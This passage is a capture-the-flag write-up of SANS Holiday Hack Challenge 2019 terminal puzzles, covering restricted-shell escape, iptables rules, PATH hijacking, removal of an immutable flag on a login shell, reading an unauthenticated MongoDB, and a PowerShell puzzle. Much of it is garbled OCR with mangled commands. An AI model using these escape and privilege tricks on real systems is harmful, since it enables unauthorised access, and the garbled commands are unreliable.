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Introduction

START HERE

We begin our journey here https://holidayhackchallenge.com/2019/, gain our admission ticket...

ADMIT ONE

This ticket entitles its bearer to
admittance for one to

KringleCon 2: Turtle Doves
Location:
EIf University
17 Christmas Tree Lane
North Pole

and after a few brief instructions we’re taken to https://2019.kringlecon.com/invite

er the past four years during the SANS #HolidayHack challenge, vic

m and the North

to bring =

profess ting of the minds

this December, to help improve the state of cyber security wo

And that's sked SANS to open up registration for a very special event he's hosting

ar. This Dec

for the ber, you are cordially invited to. ..

S‘Gurg[@@ﬂ 9: Yurtle Poves |

security-minded

hallenge this

Hosted by Santa and his team at the North Pole in mid-December 2019,

peaple and h from around the world wil together virmally to help i the

state of 1d-wide, protecting Christmas and all other holidays from dastardly

cyber at

Registration iz completely FREE, but space iz limited for this ver

ne

and then magically transported to the North Pole train station and the start our adventure...

North Pole Train Station
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Report Layout

A quick aside on how the report is organized:

Achievements

Objectives

Locations

Characters

Other Interactive Objects
Narrative

Code

S o0 Gges 09 [ [=

Achievements:
This section contains the solution write-up for the challenges found throughout ELFU that had a Terminal icon or
Computericon =  but not necessarily part of the main Objectives

Objectives:
This section contains the solution write-up for Objectives 0 to 12 as found in the Objective section of the player's badge

Locations:
This section contains detailed descriptions of each location area/room including maps, character locations and artifacts

Characters:
This section contains all the character pictures, character dialog, and what each character introduces or unlocks

Other Interactive Objects:
This section contains any other interactive objects not otherwise listed, their dialog and any artifacts they may provide

Narrative:
This section contains each of the narrative components and where or how they were obtained.

Code:
If an Achievement or Objective had a code component to the solution, this section contains the source code for those. All
code and maps will also be uploaded to this GitHub repo after the submission deadline on January 13, 2020:
https://github.com/deckerXL/SANSHolidayHackChallenge2019
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Achievement Challenges

Achievement - Escape Ed

This is the very first challenge you encounter when arriving at EIfU and it's located in the Train Station. Bushy Evergreen provides an
introduction summary to his dilemma and asks for your help:

Suminy Buaagrash Hi, I'm Bushy Evergreen. Welcome to EIf U!
—— I'm glad you're here. I'm the target of a terrible trick.
Pepper Minstix is at it again, sticking me in a text editor.
Pepper is forcing me to learn ed.

Even the hint is ugly. Why can't | just use Gedit?
Please help me just quit the grinchy thing.

You can begin the challenge by clicking on the "Escaped Ed" terminal icon.

. 10000000
. C0000000000000:
€00000000000000,
€00000000000000,
€00000000000000,
€00000000000000,
€00000000000000
€00000000000000,
L,

, many UNIX tools grow old, but this one's showing gray.

hat Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to help this elf escape this blasted tool.

-Bushy Evergreen

You are in a restricted shell created by gnu ed. These links are helpful to learn more:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
https://www.gnu.org/software/ed/manual/ed manual.html

Can you execute shell commands by prefixing your command with an exclamation point like this:

elf 40896
root 4096

elf 220 .bash logout
elf 3593 .bashrc

elf 1160 .message

elf 807 B .profile
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With this technique, you can do a little enumeration to get to know a bit more about the system you're on:

-8660-9d57730769ba # (you don't need to enable
sbin:/usr/bin:/sbin: /b1 4 if it's already enabled in /etc/bash.bashrc and /etc/profil
: Lo h.bashrc) .
then

31:*.tlz=01; bash-completion/bash completion 1; then

* 1rz=01;31

. 1 H . . —
th b 9 . r : 131:%, . fusr/share/b: 5 mpletion

cat /home/self/.m

ed .message
/usr/local/bin/successfulescape
1

SMP Debian 4.189

You have completed the Escape Ed
challenge!l
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Achievement - Smart Braces

This challenge is found in the Student Union and interacting with Kent Tinseltooth will introduce this challenge

I'll bet you can keep other students out of my head, so to speak.
It might just take a bit of Iptables work.

OK, this is starting to freak me out!

Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up.
Do... Do you ever get the feeling you can hear things? Like, voices?
I know, | sound crazy, but ever since | got these... Oh!

Smart Do you think you could take a look at my Smart Braces terminal?
Braces I'll bet you can keep other students out of my head, so to speak.

It might just take a bit of Iptables work.

You can begin the challenge by clicking on the "Smart Braces" terminal icon.

Voice: Kent. Kent. Wake up, Kent.
Voice: I'm talking to you, Kent.

Voice: That remains to be seen, Kent. But we are having a conversation.
Voice: This is Santa, Kent, and you've been a very naughty boy.

Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be
after graduation.

Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh devi

Voice: I'm Santa - I know everything.
Voice: That's right, Kent. Where is the sleigh device now?

Voice: How would you like to intern for the rest of time?

Voice: Very good Kent, that's all I needed te know.
Voice: Nevermind that. I want you to think about what you've researched and studied.

now on, stop playing with your teeth, and floss more.
*Inner Voice Goes Silent*

elfuuser@b138ed506e3f:~%

https://www.youtube.com/watch? Z4gGCCqss&t=20

Hilarious! Following the instructions from I0TteethBraces.md, we need to set some iptables rules to help Kent:

elfuuser@ ed506e $ cat /home/elfuuser/I0TteethBraces.md
- arch Labs - Smart Braces
# A Lightweight Linux Device for Teeth Bra
Imagined and Created by ELfU Student Kent TinselTooth

his device is embedded into one's teeth braces for easy management and monitoring of dent
@l status. It uses FTP and HTTP for management and monitoring purpo but also has SSH fo
r remote access. Please refer to the management documentation for t

# Proper Firewall configuration:

he firewall used for this system is “iptables . The following is an example of how to set
a default policy with using " iptables

sudo iptables -P FORWARD DROP

he following is an example of allowing traffic from a specific IP and to a specific port:

sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT

A proper configuration for the Smart Braces should be exactl

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and t
he OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.8.225 to access the local
SSH server (on port 5
. Create a rule to EPT any source IP to the local TCP services on ports 21 and 80

e ACCEPT all OUTPUT traffic with a destination TCP port of 86.

e applied to the INPUT chain to ACCEPT all traffic from the lo interface
lelfuuser@bl38eds506e3f:~%
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Here are the iptables rules that need to be entered:

sudo iptables -P INPUT DROP

sudo iptables -P FORWARD DROP

sudo iptables -P OUTPUT DROP

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -s 172.19.0.225/32 -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT

sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A OUTPUT -p tcp --dport 80 -3j ACCEPT

sudo iptables -A INPUT -i lo -j ACCEPT

Entering them results in completing the challenge:

he following is an example of allowing traffic from a specific IP and to a specific port:
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT

proper configuration for the Smart Braces should be exactly:

. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and t
> QUTPUT chains.
rule to ACCEPT only remote source IP address 172.19.0.225 to access the local
r {on port 22).
. a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination port of 80.
a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
bc167163b6b: D INPUT DROP
bcl67163b6b:~$ su il ] FORWARD DROP
bc167163b6b:~% su a : OUTPUT DROP
a1bc167163b6b:~$ sudo ] INPUT -m state --state ESTABLISHED,RELATED -j AC

5 sudo iptables OUTPUT -m state --state ESTABLISHED,RELATED -j A
5 sudo iptables INPUT -s 172.19.0.225/32 -p tcp --dport 22 -j AC
5 sudo able INPUT -p tcp --dport 21 -j ACCEPT
bc167163b6b:~$ sudo 3 INPUT -p tcp --dport 80 -j ACCEPT
bcl67163b6b:~% su a OUTPUT -p tcp --dport 80 -j ACCEPT

bc167163b6b:~$ : INPUT -i lo -j ACCEPT
d1bc167163b6b:-

/usr/bin/inits: line 10: su elfuuser

You have completed the Smart Braces
challenge!
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Achievement - Linux Path

This challenge is found in Hermey Hall: Main area and interacting with SugarPlum Mary will introduce this challenge:

SiugErFllurm Mism

Oh me oh my - | need some help!

I need to review some files in my Linux terminal, but | can't get a file listing.

| know the command is Is, but it's really acting up.

Do you think you could help me out? As you work on this, think about these questions:
1.Do the words in green have special significance?

2.How can | find a file with a specific name?

3. What happens if there are multiple executables with the same name in my SPATH?

You can begin the challenge by clicking on the "Linux Path" terminal icon.

{000K000K00 OKKOKKKKKXKKK) X0 kOKKKKOKXKKKKKKKOKKKOKKOKK 0 KKOKK OKKOKKKKKK
JOKOOOKI KKKKKKKKXKKKXKKX oNOXKI KKXKKKKKKKKKKOKKKKKOKKOKKBKKKKK
CSKKKKKKKKKKXKKXOMOOCK QOCOOKXNXNNNNNNK G i I KKKKKKKKKKKKKKKKKKKKKI
{BOOKKOOKKKKKKKKXXKI NX DXXNNXNNNNNW dkk: XKKXKKXKKXKKXKKXKOKK OKKOKKKKKK
KOO X XNNNNNNNNW
XNNXNNNNNNNNNX
XNNXNNNNX

our current direct

KNNXNNNNNNNNNG
XNNXNNNNNX
XNNXXNNNNWE
XXXXNNNNNNNNNNG
INNNWNNNN
NNXNNN

srrianris0

sriiiered

POCCCN XXNNXX XN NWWWNNNNNNNNNWWNNNNNNNNWWIWWWNWNNNNNNNNNNNNNNNX

I need to list s in my
0 check on project logos
But what I see with 1s there, . .
es from desert hobos... ) Ha lations!

e of my command does fail?
annot it.

Make straight my and that-

1'11 praise your skill and sharp wit!

1s) of your current dir
|

This challenge can be solved by realizing that a "bad" 1s command is found first in your SPATH order. See the above screenshot for
the specific solution steps. Also, some other fun stuff on this system:

You have completed the Linux
challengel
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Achievement - Nyanshell

This challenge is found in Hermey Hall: Speaker UNpreparedness Room and Alabaster Snowball will introduce this challenge:

AlzbasEr Snawlael

My name's Alabaster Snowball and | could use a hand.

I'm trying to log into this terminal, but something's gone horribly wrong.

Every time | try to log in, | get accosted with ... a hatted cat and a toaster pastry?

I thought my shell was Bash, not flying feline.

When | try to overwrite it with something else, | get permission errors.

Have you heard any chatter about immutable files? And what is sudo -/ telling me?

Nyanshell ! i L X X
J L You can begin the challenge by clicking on the "Nyanshell" terminal icon.

and land in a

This challenge can be solved by realizing that alabaster_snowball's shell has been replaced with /bin/nsh and the file has the
immutable flag set so it can't be overwritten. You use chattr with sudo to remove this flag and overwrite /bin/nsh with /bin/bash.

ord of Password2, and land in a Bash pro

in/nsh

hyancat, nyancat

I love that nyancat!

1y shell's stuffed inside one
hatcha' think about that?

adly now, the day's gone
hings to do! Without one...
L'11 miss that nyancat

un commands, win, and done!

Log in as the user alabaster_snowball with a password of Password2, and land in a Bash pro
pt.

arget Credentials:

username: alabaster snowball
2

password: attr

; cat /etc/passwd | grep ala - --- /bin/nsh
ne/ali

1001:100 e
$ 1s -al /bin/nsh
75680 Dec 11 17:40
$ 1s -al /bin/bash
root 1168776 Apr 18 2019
$ cp /bin/bash /bin/nsh
reqular file '/bin/nsh': Operation not permitted

all:/bin/nsh 9 dbd:~% cp /bin,

You did it! Congratulations!

alabaster_snowball@8b92196bd4bd: /home/elfs
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Some enumeration on this host just for fun:

_snowball

nowball

anowball)

11-11)

root
root

L L W
e

root

[l el T ]

root

LU L

[=J=

root

3

root
root

root root
root root

root root
root root
cd32.

_ID=SRESCURCE_ID"
~_snowball

You hawve completed the Nyanshell
challenge!
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Achievement - Mongo Pilfer

This challenge is found in Hermey Hall: NetWars Room and interacting with Holly Evergreen will introduce this challenge:

My teacher has been locked out of the quiz database and can't remember the right solution.
Without access to the answer, none of our quizzes will get graded.

Can we help get back in to find that solution?

I tried Isof -i, but that tool doesn't seem to be installed.

| think there's a tool like ps that'll help too. What are the flags | need?

T Either way, you'll need to know a teensy bit of Mongo once you're in.

Pilfer Pretty please find us the solution to the quiz!

You can begin the challenge by clicking on the "Mongo Pilfer" terminal icon.

ldox1 1dko
8800kocokdaBen

dONNNGXC 00XNN@x W

@KNNNNNN KON NWNKKWWWW

WNExokK: NKx 0xKWWNWWX0od
cx@k

ee0dL aKKod L Ok ]
(:BI\KGK()I\KI\Kl\KKh()OKI\KKI\KI\KI\B@I\KI\HI\K

come help me get my wish!
] but all I find are f !

Do all his boating trips effect some database dilution?

It should not be this hard for me to find the quiz solu

Find the solution hidden in the MongoDB on this

e1f@349779c89d7d: ~$

The first step is to find the running process with ps and also check for any netstat listeners for mongod. This will show that
mongod is listening on port 12121 /tcp which we'll need this information to connect to it using the mongo command line client.

Find the solution hidden in the MongoDB on this

0 - 253649 - 04:21 7
--quiet --fork --port 1‘1*1 --bind_ip 127.0.0.1 --logpath=/tmp/
s elf 4 10 0 - 2866 - 04:22 pts/e 00

1f@fddasa552755:~$ ps elf | grep mongo
H 9 1

| gupp ongo
could be read for " geteuid()=1001 but you should be root.)
[ ACC | STFEAM LISTENING 75087765 /tmp/:
21.sock
:~$ netstat -nap | grep 12121
info -muld be read for "-p": geteuid()=1601 but you should be root.)
0 127.0.0.1: 0.0. LISTEN

0 127.0.0.1:57192 127.0.0.1: TIME_WAIT

[ AcC ] STREAM LISTENING 75087765 - /tmp/mongo

For interactive help, ty help".
[For more comprehes tion, see
mtu //do
Tr the support group
r google. com/group/mongodb-user

1+0990 1 CONTROL [initandl
26.231+0000 I CONTROL [initandlis ** WARNING: Access control is not
for the database.
'25TU4 26.231+00! I CONTROL [initandlisten] ** Read and write access
and configuration is unrestricted.
1+06000 I CONTROL [initandlisten]
.231+0000 T CONTROL [initandlisten]
: 6.231+0000 I CDNTROL [initandlisten] ** WARNING: /sys/kernel/mm/transpa
rent_hugepage/enabled is 'al
2019-12-25T04:21:26.231+0000 I LONYHOL [initandlisten] ** We suggest setting it to

26.231+0000 I CONTROL [initandlisten]
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Once we connect to the database with the mongo command-line client, we can show dbs. The database el fu looks interesting,
so we can make that our current context with use el fu. Then we can list collections in that database using show
collections. |see what Holly Evergreen was talking about in the banner - several fish/fishing related collections are listed.
However, the solutions collection looks like our goal and we can search that collection using db. solution.find ({}) command.

b- .sock

elf@fd4ara552755:~¢ mongo --port 12121
fongoDB shell version \ 3
connecting to:

longoDB server ver:

elcome to the Mong

For interactive help

the suppert group
.com/group/mongodb-user

I CONTROL [initandliste
I CONTROL [initandlis ccess control is not

I CONTROL [initandl * Read and write access
s unrestricted
I CONTROL [initandl
I CONTROL [initandl
23 I CONTROL [initandl e ** WARNING: /sys/kernel/mm/transpa
is 'always'.
31+0000 I CONTROL [imitandl en] #* We suggest setting it to

1+0000 I CONTROL [imitandl

> db.solution.find({})

{ " id" : ou did good! Just run the command between the sta ** db.loadServerScripts()
playSolution(); **" }

is not database you're looking for.™

1ied to db elfna
show collections
ait

=vstem.
tackle
tincan

"E'.JIII! "
ackle.find({]
" id" : "Mackerel
tincan.find({})
"SARDINES"™

)
L
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Some more interesting stuff...

{ * id" : "You did good! Just run the command between the stars: ** db.loadServerScripts()
;displaySolution(); **" }

And..

Congratulations!!

You have completed the Mongo Pilfer
challenge!

Page 16 of 184



Achievement - Xmas Cheer Laser

This challenge is found in Hermey Hall: Laboratory and interacting with Sparkle Redberry will introduce this challenge.

I'm Sparkle Redberry and Imma chargin' my laser!
Problem is: the settings are off.

Do you know any PowerShell?

It'd be GREAT if you could hop in and recalibrate this thing.
It spreads holiday cheer across the Earth ...

... when it's working!

This was a fun one! You can begin the challenge by clicking on the "Xmas Cheer Laser" terminal icon.

ype to exit Powershell.

PowerShell 6.2.3
Copyright (c) Microsoft Corporation. All rights

/aka.ms/pscores-docs
ype *help’ to get help.

WA KN KKK KN KKK KN KN HK KKK KKK KKK KKK NN H NN H NN H KA KN
h Terminal - Christmas Cheer Laser Project

currently working on a top-secret

cheer at a range of hundreds of

to k the laser to

liter of laser output

e ch terminal, changed the L

h the Web APT and left a note behind at .
Rea g card and follow the clues to find the correct laser Settings
App ct settings to the laser using it's Vieb API to achieve laser

output of 5 Mega-Jollies per liter.

Use for more info.

TXXXX XXX XXX XX

WAHAAA KA AN KA AAKKKKKKKKKKKKKKKKKN KK KKK KK AN NN

P /home/elf>

https://www.youtube.com/watch?v=0dsOwYpcleM&t=28

The first thing you notice is you're locked into a PowerShell prompt, so time to brush up on PowerShell.
Let's take a look at the API:

# Use for more

htt

he mirror
alho

PS5 /home/elf>

(Invoke-WebRequest -Uri http://localhost:1225/) .RawContent
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With the APl we can set the proper settings if we know what values to use. To solve this challenge the laser must be set back to the
right settings and we need to find the correct:

angle value
refraction value
temperature value
gas value

=W P

Now let's take a look at /nome/callingcard.txt:

callingcard. tx

la la la,

you can't now

la 1la la, la

commands hold riddles

la la la, la la la la

You'll ever suffer myst
la la, la la la la
elf>

Get-Content /home/callingcard.txt

Our first clue is here: "Could commands hold riddles in hist'ry?". We need to inspect the PowerShell command history.

PS /home/elf> Get-History

(=5

Get-Help -Name Get-Process
Get-Help -Name Get-*
nPolicy Unrestricted
vertTo-HTML -Property Name, Status > C:\services.htm
\service.csv

6 Name, Status | Export-CSV c:\service.csv
7 (Invoke-WebRequest http 27.0.0.1:1225/api/angle?val=65.5) .RawContent
8 Get-EventLog -Log "Application"
9
0]

[ SR VY N

I have many na value variables that I share to applications system wide. At a com.
Get-Content /home/callingcard.txt

PS /home/elf>

‘ Get-History

We see "Id 6" holds the correct angle value we need of 65.5, so we have our first value!

| (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5) .RawContent —|

The next clue is looking at "Id 9" in the Get-History list.

n wide. Bt a command .

End] -utionTime

Duration

Get-History -Id 9
Get-History -Id 9 | f1l

This sounds like a reference to environment variables, so let's look at those using PowerShell:
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Set-Location Env:
ildItem

Value

59

var/mail/elf
fopt/microsoft/powershell/6: /usr/local/sbin: /usr/local/bi..
ar/cache/microsoft/powershell/PSModuleAnalys
l/share/powershell/Modules: /usr/local/shar..
/home/elf
3c43878a-566T-4f10-bbbc-7b52c101fdb7
Squeezed and compressed I am hidden away. Expand me from ..
/home/elf/elf
!
xterm
elf
laserterminal
userdomain laserterminal
username elf
f

ChildItem riddle | fl

riddle

: Squeezed and compressed I am hidden away. Expand me from my prison and I will
show you the way. Recurse through all /etc and Sort on my LastWriteTime to
reveal im the newest of all.

Set-Location Env:
Get-ChildItem
Get-ChildItem riddle | f1l

We need to list recursively all files in /etc and find the file with the most recent LastWriteTime:

PS /> Get-ChildItem Jjet | Sort-oObject LastWriteT
ime | Select-Ot

Directory: /etc/apt
LastWriteTime Length Name

12/25/19 4:04 PM 5662902 archive

Set-Location /etc
Get-ChildItem -Recurse /etc -ErrorAction 'silentlycontinue' | Sort-Object LastWriteTime | Select-Object -Last 1

We find afile called archive. Let's try to uncompress it.

PS /etc> Expan rchi tc/apt/archive /tmp
PS /etc> Set-Loc
PS /tmp> Get-ChildItem | Sort-Object LastWriteTime | Select-Object
Directory: /tmp
LastWriteTime Length Name
12/25/19 5:00 PM refraction
PS /tmp> Set-Location /tmp/refra

PS /tmp/refraction> Get-ChildItem

Directory: /tmp/refraction

LastWriteTime Length Name

11/7/19 11 riddle
11/5/19 2:26 PM 5724384 runme.elf

Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp
Set-Location /tmp
Get-ChildItem -Force | Sort-Object LastWriteTime | Select-Object -Last 1
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Now let's chmod and run the . /runme.elf:

PS /tmp/refraction> Get-ChildItem

Directory: /tmp/refraction
LastWriteTime Length Name

11/7/19 11:57 AM 134 riddle
11/5/19 2:26 PM 5724384 runme.elf

PS /tmp/refraction= chmod 755 ./runme.elf
PS /tmp/refraction= ./runme.elf
refraction?val=1.867

PS /tmp/refraction=

Get-ChildItem -Force
chmod 755 ./runme.elf
./runme.elf

We now have the correct refraction value of 1.867

|(Invoke—WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867) .RawContent

Our next clue is in the riddle file that's also here:

PS /tmp/refraction> Get-ChildItem

Directory: /tmp/refraction
LastWriteTime Length Name

11/7/19 11:57 AM 134 riddle
11/5/19 2:26 PM 5724384 runme.elf

PS /tmp/refraction= Get-Content ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 i
entity:

25520151A320B5B0D21561F92C8F6224

Get-ChildItem -Force
Get-Content ./riddle

Inthe /home/elf there is a directory called depths which has a huge nested directory structure of files. This clue states we need to
recurse that directory structure and find the file with this md5 hash: 25520151A320B5B0D21561F92C8F 6224

PS /home/elf/depths> Get-ChildItem *.txt | Get-FileHash
MD5 | Select-Object Hash, Path | Select-String

@{Hash=25520151A320B5B0D21561F92C8F6224; Path=/home/elf/depths/produce/thhyshll.txt}

PS /home/elf/depths>

Set-Location /home/elf/depths
Get-ChildItem -Recurse -File -Force -Path *.txt | Get-FileHash -Algorithm MD5 | Select-Object Hash,Path | Select-String -
Pattern '25520151A320B5B0D21561F92C8F6224"
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We find a file at /home/elf/depths/produce/thhy5hll. txt that matches the md5 hash value. Let's view it.

PS /home/elf/depths= Get-Content /home/elf/depths/produce/thhy5hll. txt
emperature?val=-33.5

am one of many thousand similar txt's contained within the deepest of /home/elf/depths.

inding me will give you the most strength but doing so will require Piping all the FullNa
e's to Sort Length.
PS /home/elf/depths>

| Get-Content /home/elf/depths/produce/thhy5hll.txt

We now have the correct temperature value of 33.5

(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=33.5) .RawContent

We just need one more value, gas, and the clue is shown in the screenshot above. We need to recurse the /home /el f/depths
directory structure and find the file with the longest FullName attribute

PS /home/elf/depths> Get-ChildItem | Select-Object {5 .fullname.leng
h}, Fullname | Sort-Object {¢ .fullname.length} | select-Object 1| fl

5 .fullname.length : 388

FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chai
r/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/exp
lore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/pot
atoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubb
ed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/bec
ome/accident/labor/sail/dropped/fox/0jhj5xz6. txt

PS /home/elf/depths> Get-Content /home/elf/depths/larger/cloud/behavior/beauty/enemy/produ
ce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/w
herever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/
adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is
/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt

et process information to include Username identification. Stop Process to show me you're
skilled and in this order they must be killed:

Do this for me and then you /shall/see .
PS /home/elf/depths>

Get-ChildItem -Recurse -File -Force | Select-Object {$_.fullname.length},Fullname | Sort-Object -Property {$_.fullname.length}
| select-Object -Last 1 | f1l

Get-Content
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasi
onally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/bu
rn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0j
hj5xz6.txt
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The next clue is we need to stop those 4 processes (designated by: bushy, alabaster, minty, holly) in that particular order and then
check the directory /shall/see. Note that bushy, alabaster, minty and holly refer to the user running the process, not the
process name. So, we'll need to list processes with the IncludeUserName property.

PS /home/elf/depths> Get-Process

Ws (M) UserName ProcessName

CheerLaserServi
elf
init

24 sleep

26 alabaster sleep

27 minty sleep

29 holly sleep

30 root su

[cRololoNoNo NN

/home/elf/depths> Stop-Process Id
/home/elf/depths> Stop-Process Id
/home/elf/depths> Stop-Process Id
/home/elf/depths> Stop-Process Id
/home/elf/depths> Set-Location /shall/
/shall> Get-ChildItem

Directory: /shall
LastWriteTime Length Name
12/25/19 6:35 PM 149 see
PS /shall> Get-Content ./see
et the .xml children of /etc - an event log to be found. Group all .Id's and the last thi

ng will be in the Properties of the lonely unique event Id.
PS /shall>

Get-Content Get-Process -IncludeUserName
Stop-Process Id 24

Stop-Process Id 26

Stop-Process Id 27

Stop-Process Id 29

Set-Location /shall/

Get-ChildItem

Get-Content /shall/see

This leads to another clue where we need to find an .xml file somewhere in the /etc directory structure and then examine the XML
looking for a unique event Id in the Properties tag

PS /etc> Get-ChildItem *_xml

Directory: /fetc/systemd/system/timers.target.wants

LastWriteTime Length Name

11/18/19 7:53 PM 10006962 EventlLog.xml

Set-Location /etc
Get-ChildTItem -Recurse -File -Force -Path *.xml -ErrorAction 'silentlycontinue'
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We find the file at /etc/systemd/system/timers.target.wants/EventLog.xml
Now we need to parse it looking for a unique event Id

PS /home/elf> [xml] Get-Content

PS /home/elf> .0bjs.0bj.Props.I32 | Group-Object | sort-Object
Count

Name

132}

132,

132,

{ 2

4216 (I3 327

www

w

6652 { 132,
168 5264 (I32, 132,
160 6648 { 132,
196 6 (I3 132,
358 3 { 132
859 6640 PSP
1116 1960 { 132,
1818 5 (132, 132,

W wwwww

o

w

NRNMNMNMNMMNRNNNRNR

LU L

PS /home/elf> Get-Content
elect-String 1,200 | Out-Host

[xml]$xml = Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml"

$xml.Objs.Obj.Props.I32 | Group-Object -Property '#text' | Sort-Object -Property Count
Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml" | Select-String '"Id">1<'
Paging

-Context 1,200

Out-Host -

Performing the query on the XML shows that event Id 1 had the fewest count. The next PowerShell command will retrieve the first

200 lines of event Id 1.

<ToString=System.Diagnostics.Eventing.Reader.EventProperty</ToString=
<Props=>
<5 N="Value">Microsoft Corporation</S>
Props=>
0bj=>
<0bj Refld="18015"=>
<TNRef RefId="1886" />
<ToString=System.Diagnostics.Eventing.Reader.EventProperty</ToString=
<Props=
<5 N="Value">PowerShell . .EXE</S=>
=/Props=>
</0bj=>
bj Refld="18016">
<TNRef RefId="1886" /=
<ToString=System.Diagnostics.Eventing.Reader.EventProperty</ToString=
<Props>
<5 N="Value">C:\Windows\System32\WindowsPowerShell\vl.8\powershell.exe
-c ""$correct_gases_postbody 0=6"n N=4"n Ne=22"n
Ar=11"n Xe=10"n F=20"n Kr=8"n Rn=9"n} n"</S=
</Props>
</0bj=>
<0bj RefId="18017">
<TNRef RefId="1886" /=
<ToString=System.Diagnostics.Eventing.Reader.EventProperty</ToString=
<Props>

i "1806" /=
<ToString=System.Diagnostics.Eventing.Reader.EventProperty</ToString=
<Props=

<5 N="Value">ELFURESEARCH\allservices</S>
</Props=
Obj=
j Refl 8019"=
Id="1806" />
System.Diagnostics.Eventing.Reader.EventProperty</ToString=

Value">ba5c6bbb-5hb9c-5dc4-0000-0020f55ca900</G>

<0bj RefId="18020">
<SPACE> next page; <CR= next line; Q quit

Scrolling through the tags, we find that one of the <Props> tag sections has the gas value we're looking for:

0=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=208&Kr=8&Rn=9

Sgaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"

(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $gaspost).RawContent
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Now we have all the values to set the laser back to the correct settings. Adding a command to turn off the laser first, set the right 4
settings, then turn it back on and check the output - here is the final sequence that solves the challenge:

Invoke-WebRequest -Uri http://localhost:1225/api/off) .RawContent

Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5) .RawContent
Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867) .RawContent
Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=-33.5) .RawContent

Sgaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"

(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $gaspost) .RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/on) .RawContent

(Invoke-WebRequest -Uri http://localhost:1225/api/output) .RawContent

f/localhost:1225/api/off).RawContent

C “519 01:24:26 GMT
t/html; charset=utf-8

Christmas Cheer L
PS /home/elf> (Invo bReq tp: 7.0.0.1:12 i/z e7val=65.5) .RawContent

TTP/1.0 200 0K

Server: Werkzeug/0.16.0

Server: Python/3.6.9

Date: Thu, 26 Dec 2019 01:24:28 GMT
Content -Type html; charset=utf-8
Content -Leng 77

pdated Mirror Angle - Check sapi/output if 5 Mega-] r
> (Invoke-WebRequ tp clB)o I racti .867) .RawC

TTP/1.0 200 OK
Server: Werkzeug/0.16.0
i ERR:]
019 01:24:32 GMT
html; charset=utf-8

Content-Length: 87

pdated Lense raction Level - Check /api/output if 5 Heqa Jollies per liter reached.
PS /home/elf> (Invol bRec h 127.0.0.1: ature?val
ent
TTP/1.0 200 OK
Server: Weereuq!B 16.0
Server: Pyt
: Thu,

pdated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.

felT>

localhost:1225/api/ POST

01:22:50 GMT
; charset=utf-8

pdated Gas Measurements -
PS /home/elf> (Invoke-WebRequ

D1:22:51 GMT

1tent-Type ext ; charset=utf-8

ntent-Length
Christmas Cheer L:

//localhost:12 i/output).RawContent
TTP/1.0 200 OK
Server: WEereuqu
as

7@15 01:22:55 GMT
C 1tent-Type- text/html, charset=utf-8
ntent-Length: 200

Success! - 6.85 Mega-Jollies of Laser Output Reached!

PS /home/elf>

You have completed the Xmas Cheer
Laser challenge!
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Achievement - Frosty Keypad

This challenge is found in the east Quad area and interacting with Tangle Coalbox will introduce this challenge

Hey kid, it's me, Tangle Coalbox.
I'm sleuthing again, and | could use your help.
Ya see, this here number lock's been popped by someone.
I think | know who, but it'd sure be great if you could open this up for me.
I've got a few clues for you.
1. One digit is repeated once.
2. The code is a prime number.
3. You can probably tell by looking at the keypad which buttons are used.

This keypad protects the Dorm area and you cannot enter the Dorm until you solve this keypad challenge. It is also accessible directly
at https://keypad.elfu.org

